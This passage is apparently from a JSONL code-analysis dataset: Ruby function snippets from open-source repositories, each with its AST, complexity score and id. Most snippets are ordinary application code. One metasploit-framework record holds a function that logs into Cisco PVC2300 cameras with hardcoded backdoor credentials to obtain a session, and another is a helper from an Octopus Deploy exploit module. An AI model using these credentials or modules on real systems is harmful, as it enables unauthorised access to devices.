]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The output filename.\"]},{\"type\":\"str\",\"children\":[\"corelannuance.pdf\"]}]}]}]}]}]}]}","id":"e1fe7463-e28e-4ca6-a11f-3e63b2ca6747"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/capture_helper_test.rb","start_line":6,"raw_source":"def setup\n    super\n    @av = ActionView::Base.empty\n    @view_flow = ActionView::OutputFlow.new\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@av\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"empty\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@view_flow\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"OutputFlow\"]},\"new\"]}]}]}]}","id":"b75b93a2-bb3e-4dad-a72a-830aa072b316"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/group_descendants_finder.rb","start_line":103,"raw_source":"def subgroups\n    # When filtering subgroups, we want to find all matches within the tree of\n    # descendants to show to the user\n    groups = if search_descendants?\n               descendant_groups\n             else\n               direct_child_groups\n             end\n\n    groups.with_selects_for_list(archived: params[:archived], active: params[:active]).order_by(sort)\n  end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"subgroups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_descendants?\"]},{\"type\":\"send\",\"children\":[null,\"descendant_groups\"]},{\"type\":\"send\",\"children\":[null,\"direct_child_groups\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"with_selects_for_list\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archived\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"archived\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active\"]}]}]}]}]},\"order_by\",{\"type\":\"send\",\"children\":[null,\"sort\"]}]}]}]}","id":"918b7537-8ab4-4bf7-9d3a-9346b5f4076e"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/variable_unit_test.rb","start_line":75,"raw_source":"def test_symbol\n    var = create_variable(\"http://disney.com/logo.gif | image: 'med' \", error_mode: :lax)\n    assert_equal(VariableLookup.new('http://disney.com/logo.gif'), var.name)\n    assert_equal([['image', ['med']]], var.filters)\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_symbol\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"var\",{\"type\":\"send\",\"children\":[null,\"create_variable\",{\"type\":\"str\",\"children\":[\"http://disney.com/logo.gif | image: 'med' \"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_mode\"]},{\"type\":\"sym\",\"children\":[\"lax\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VariableLookup\"]},\"new\",{\"type\":\"str\",\"children\":[\"http://disney.com/logo.gif\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"image\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"med\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]},\"filters\"]}]}]}]}","id":"7b712e7c-d25a-4db9-a303-96ab43124e01"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":530,"raw_source":"def test_create_with_merge\n    aaron = PoorDeveloperCalledJamis.create_with(name: \"foo\", salary: 20).merge(\n      PoorDeveloperCalledJamis.create_with(name: \"Aaron\")).new\n    assert_equal 20, aaron.salary\n    assert_equal \"Aaron\", aaron.name\n\n    aaron = PoorDeveloperCalledJamis.create_with(name: \"foo\", salary: 20).\n                                     create_with(name: \"Aaron\").new\n    assert_equal 20, aaron.salary\n    assert_equal \"Aaron\", aaron.name\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_with_merge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aaron\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PoorDeveloperCalledJamis\"]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"salary\"]},{\"type\":\"int\",\"children\":[20]}]}]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PoorDeveloperCalledJamis\"]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Aaron\"]}]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[20]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aaron\"]},\"salary\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Aaron\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aaron\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"aaron\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PoorDeveloperCalledJamis\"]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"salary\"]},{\"type\":\"int\",\"children\":[20]}]}]}]},\"create_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Aaron\"]}]}]}]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[20]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aaron\"]},\"salary\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Aaron\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aaron\"]},\"name\"]}]}]}]}","id":"bae28fa5-f82f-401d-86dd-11e42f04a3d0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/email_configuration_helper.rb","start_line":9,"raw_source":"def convert_smtp_settings(config)\n      enable_starttls = nil\n      enable_starttls_auto = nil\n\n      case config[:enable_starttls]\n      when 'always'\n        enable_starttls = true\n      when 'never'\n        enable_starttls = false\n      when 'auto'\n        enable_starttls_auto = true\n      else\n        enable_starttls_auto = config[:enable_starttls_auto] != 'false'\n      end\n\n      authentication = config[:authentication] == 'none' ? nil : (config[:authentication] || 'plain')\n\n      config.merge(\n        authentication:,\n        enable_starttls:,\n        enable_starttls_auto:\n      )\n    end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_smtp_settings\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enable_starttls\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"enable_starttls_auto\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enable_starttls\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"always\"]},{\"type\":\"lvasgn\",\"children\":[\"enable_starttls\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"never\"]},{\"type\":\"lvasgn\",\"children\":[\"enable_starttls\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"lvasgn\",\"children\":[\"enable_starttls_auto\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enable_starttls_auto\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enable_starttls_auto\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"false\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"authentication\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"authentication\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"none\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"authentication\"]}]},{\"type\":\"str\",\"children\":[\"plain\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authentication\"]},{\"type\":\"lvar\",\"children\":[\"authentication\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enable_starttls\"]},{\"type\":\"lvar\",\"children\":[\"enable_starttls\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enable_starttls_auto\"]},{\"type\":\"lvar\",\"children\":[\"enable_starttls_auto\"]}]}]}]}]}]}","id":"37a835e0-0a14-47f7-a826-a24bb2a54390"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/models/meeting_agenda_item.rb","start_line":122,"raw_source":"def deleted_work_package?\n    persisted? && item_type == \"work_package\" && work_package_id_was.nil?\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"deleted_work_package?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"item_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"work_package\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package_id_was\"]},\"nil?\"]}]}]}","id":"e3d7ed83-3cef-4e5a-9b07-073aa69866cf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/models/author.rb","start_line":20,"raw_source":"def ratings\n      Rating.joins(:comment).merge(self)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ratings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rating\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"comment\"]}]},\"merge\",{\"type\":\"self\",\"children\":[]}]}]}","id":"de72223b-6e8f-45c2-a3df-3fcd56c732e5"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_buf_file.rb","start_line":39,"raw_source":"def write(chunk)\n      if @should_fail_writing\n        raise \"failed writing chunk\"\n      else\n        @write ? @write.call(chunk) : nil\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@should_fail_writing\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"failed writing chunk\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@write\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@write\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"8b3da0e2-94fe-47bc-ad73-2e2480f5013e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":2621,"raw_source":"def current_highest_access_level\n    members.non_request.maximum(:access_level)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"current_highest_access_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members\"]},\"non_request\"]},\"maximum\",{\"type\":\"sym\",\"children\":[\"access_level\"]}]}]}","id":"591a641c-e5a4-44ab-a519-1928d3470666"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/base_services/set_attributes.rb","start_line":69,"raw_source":"def set_custom_values_to_validate(params)\n      custom_field_ids = custom_field_ids_from(params)\n\n      # Only update custom_values_to_validate when custom field params are provided.\n      # Otherwise keep them intact, so other services can still set them.\n      return if custom_field_ids.empty?\n\n      # Validate only the custom values being updated via the params.\n      model.custom_values_to_validate = model.custom_values.filter do |cv|\n        custom_field_ids.include?(cv.custom_field_id)\n      end\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_custom_values_to_validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"custom_field_ids\",{\"type\":\"send\",\"children\":[null,\"custom_field_ids_from\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field_ids\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"custom_values_to_validate=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"custom_values\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cv\"]},\"custom_field_id\"]}]}]}]}]}]}","id":"d41f1953-f273-4ed6-bee2-1e06b9cec97d"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/thread_list.rb","start_line":47,"raw_source":"def has_unread_item?(id, count: nil, urgent: false)\n          selector_class = urgent ? \".-is-urgent\" : \".-is-unread\"\n\n          if count.nil?\n            component.has_css?(item_by_id_selector(id) + selector_class)\n          else\n            component.has_css?(\n              item_by_id_selector(id) + selector_class +\n                \" .chat-thread-list-item-unread-indicator__number\",\n              text: count.to_s,\n            )\n          end\n        end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_unread_item?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"kwoptarg\",\"children\":[\"count\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"urgent\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector_class\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urgent\"]},{\"type\":\"str\",\"children\":[\".-is-urgent\"]},{\"type\":\"str\",\"children\":[\".-is-unread\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_css?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"item_by_id_selector\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"selector_class\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_css?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"item_by_id_selector\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"selector_class\"]}]},\"+\",{\"type\":\"str\",\"children\":[\" .chat-thread-list-item-unread-indicator__number\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"to_s\"]}]}]}]}]}]}]}","id":"17156af6-1771-4ab1-b336-f5e7a2badafb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/cisco_pvc2300_download_config.rb","start_line":64,"raw_source":"def request_session_id\n    vprint_status('Attempting to obtain a session ID')\n    # the creds used here are basically a backdoor\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'oamp', 'System.xml'),\n      'vars_get' => {\n        'action' => 'login',\n        'user' => 'L1_admin',\n        'password' => 'L1_51'\n      }\n    })\n\n    unless res\n      fail_with(Failure::Unknown, 'Connection failed when trying to obtain a session ID')\n    end\n\n    unless res.code == 200\n      fail_with(Failure::NotVulnerable, \"Received unexpected response code #{res.code} while trying to obtain a session ID.\")\n    end\n\n    if res.headers.include?('sessionID') && !res.headers['sessionID'].blank?\n      session_id = res.headers['sessionID']\n      print_status(\"The target may be vulnerable. Obtained sessionID #{session_id}\")\n      return session_id\n    end\n\n    # try to check the status message in the response body\n    # the status may indicate if the target is perhaps only temporarily unavailable, which was encountered when testing the module repeatedly\n    status = res.body.scan(%r{<statusString>(.*?)</statusString>})&.flatten&.first&.strip\n    if status.blank?\n      fail_with(Failure::NotVulnerable, 'Failed to obtain a session ID.')\n    end\n\n    if status == 'try it later'\n      fail_with(Failure::Unknown, \"Failed to obtain a session ID. The server responded with status: #{status}. The target may still be vulnerable.\")\n    else\n      fail_with(Failure::NotVulnerable, \"Failed to obtain a session ID. The server responded with status: #{status}\")\n    end\n  end","complexity_score":46.4,"ast_json":"{\"type\":\"def\",\"children\":[\"request_session_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Attempting to obtain a session ID\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"oamp\"]},{\"type\":\"str\",\"children\":[\"System.xml\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"L1_admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"L1_51\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Connection failed when trying to obtain a session ID\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received unexpected response code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" while trying to obtain a session ID.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"include?\",{\"type\":\"str\",\"children\":[\"sessionID\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sessionID\"]}]},\"blank?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sessionID\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The target may be vulnerable. Obtained sessionID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<statusString>(.*?)</statusString>\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"first\"]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Failed to obtain a session ID.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"==\",{\"type\":\"str\",\"children\":[\"try it later\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to obtain a session ID. The server responded with status: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"str\",\"children\":[\". The target may still be vulnerable.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to obtain a session ID. The server responded with status: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}]}","id":"986e5f61-0e85-4d29-bd90-ebabcd77164c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/icons_helper.rb","start_line":115,"raw_source":"def gl_loading_icon(inline: false, color: 'dark', size: 'sm', css_class: nil, data: nil)\n    render Pajamas::SpinnerComponent.new(\n      inline: inline,\n      color: color,\n      size: size,\n      class: css_class,\n      data: data\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gl_loading_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"inline\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"color\",{\"type\":\"str\",\"children\":[\"dark\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"size\",{\"type\":\"str\",\"children\":[\"sm\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"css_class\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"data\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"SpinnerComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"lvar\",\"children\":[\"inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color\"]},{\"type\":\"lvar\",\"children\":[\"color\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"css_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"c118baee-8f1d-413d-bca3-2551d5c102ba"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/response.rb","start_line":66,"raw_source":"def each(&block)\n        to_models.each do |model|\n          yield(model)\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_models\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]}","id":"45ad842a-f747-41cd-a413-3830e847a83f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/octopusdeploy_deploy.rb","start_line":206,"raw_source":"def get_version(session, project_id, channel)\n    path = \"api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}\"\n    res = send_octopus_get_request(session, path, 'Get version')\n    body = parse_json_response(res)\n    body['NextVersionIncrement']\n  